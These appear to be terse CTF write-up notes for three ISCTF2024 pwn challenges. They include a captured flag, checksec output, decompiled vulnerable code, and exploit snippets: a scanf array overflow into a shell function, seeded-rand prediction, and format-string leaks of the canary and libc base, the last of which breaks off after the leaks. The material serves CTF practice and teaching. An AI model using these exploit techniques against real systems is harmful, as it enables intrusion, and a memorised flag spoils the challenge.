easy pwn!
just have fun
ISCTF{5033fc9a-b09c-4fd3-8551-0cb22283d299}

[*] '/mnt/d/国内赛/ISCTF2024/girlfriend'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[40]; // [rsp+0h] [rbp-30h] BYREF
  char s1[8]; // [rsp+28h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("welcome to isctf2024");
  puts("first i need your team id");
  read(0, buf, 0x30u);
  if ( strcmp(s1, "admin") )
  {
    puts("no no no");
    exit(0);
  }
  puts("ok, go on");
  vuln();
  return 0;
}
__int64 vuln()
{
  __int64 result; // rax
  _QWORD v1[5]; // [rsp+0h] [rbp-30h] BYREF
  __int64 n7; // [rsp+28h] [rbp-8h]

  for ( n7 = 0; n7 <= 7; ++n7 )
  {
    printf("please input your %d girlfriend birthday\n", n7 + 1);
    result = __isoc99_scanf("%ld", &v1[n7]);
  }
  return result;
}
int amaze()
{
  return system("/bin/sh");
}

amaze = 0x401216
ret = 0x000000000040101a
payload = cyclic(0x28) + b"admin\x00"
sl(payload)
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"1")
sl(b"5")
sl(b"0")
sl(b"4198942")

[*] '/mnt/d/国内赛/ISCTF2024/ez_game/ez_game'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-1A4h] BYREF
  _BYTE v5[400]; // [rsp+10h] [rbp-1A0h] BYREF
  unsigned int seed; // [rsp+1A0h] [rbp-10h]
  int v7; // [rsp+1A8h] [rbp-8h]
  int n20000; // [rsp+1ACh] [rbp-4h]

  init(argc, argv, envp);
  seed = 1;
  puts("Welcome to ISCTF's pwn mini-game.");
  puts("This procedure is only 15 seconds");
  signal(14, handle_sigalrm);
  alarm(0xFu);
  printf("Enter your username: ");
  gets(v5);
  srand(seed);
  for ( n20000 = 0; n20000 <= 20000; ++n20000 )
  {
    v7 = rand() % 7 + 1;
    printf("Round %d\n", n20000 + 1);
    printf("Please enter the number you want to guess: ");
    __isoc99_scanf("%d", &v4);
    if ( v7 != v4 )
    {
      puts("Wrong, goodbye");
      exit(1);
    }
    puts("Congratulations, you win!");
  }
  getshell();
  return 0;
}
int getshell()
{
  puts("It's your reward, take advantage of it.");
  return system("/bin/sh");
}

libc = ctypes.CDLL(libc_file)
libc.srand(1)

payload = b'a\n'
for _ in range(0x4e21):   # 20001
    payload += str(libc.rand() % 7 + 1).encode() + b'\n'
s(payload)

[*] '/mnt/d/国内赛/ISCTF2024/0verf10w/0verf10w'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 buf_; // [rsp+0h] [rbp-20h] BYREF
  char format_[4]; // [rsp+8h] [rbp-18h] BYREF
  _BYTE v6[4]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("welcome to ISCTF2024");
  puts(
    "The person who set the questions intended to turn off all the protections, but it seems they... forgot? Can you help them out?");
  puts("By the way, can you tell me your name before that?");
  __isoc99_scanf("%s", v6);
  puts("Great, I've decided to give you a gift!");
  read(0, &buf_, 0x20u);
  printf(format_);
  vuln();
  return 0;
}
ssize_t vuln()
{
  _QWORD buf_[4]; // [rsp+10h] [rbp-20h] BYREF

  buf_[3] = __readfsqword(0x28u);
  puts("again?????");
  return read(0, buf_, 0x21u);
}
int greet()
{
  return puts(&s);
}

sl(b"haoo")
payload = b"a" * 8 + b"%9$p+%11$p+%15$p"
s(payload)
io.recvuntil(b"0x")
canary = int(io.recv(16), 16)
io.recvuntil(b"0x")
libc_base = int(io.recv(12),16) - 0x29d90
io.recvuntil(b"0x")
stack = int(io.recv(12),16)
leak("canary",canary)
leak("libc_base",libc_base)
leak("stack",stack)